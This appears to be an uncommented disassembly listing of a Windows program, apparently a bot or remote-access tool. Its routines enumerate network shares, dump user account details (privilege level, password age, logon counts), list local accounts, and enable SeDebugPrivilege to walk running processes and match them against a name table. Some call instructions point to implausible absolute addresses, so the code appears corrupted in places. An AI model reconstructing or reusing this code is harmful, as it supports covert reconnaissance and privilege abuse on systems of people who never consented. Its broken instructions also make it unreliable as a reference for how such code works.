
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439788
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439094[eax*4]
		push	offset unk_439840
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439090[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439860
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A50
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A1C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB270
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB06C
		push	offset unk_439D84
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB06C
		push	eax
		push	offset dword_439D58
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2720571h
		push	eax
		call	dword_4CB638
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		call	near ptr 2680920h
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 283104Dh
		nop
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E10
		jb	short loc_41978F
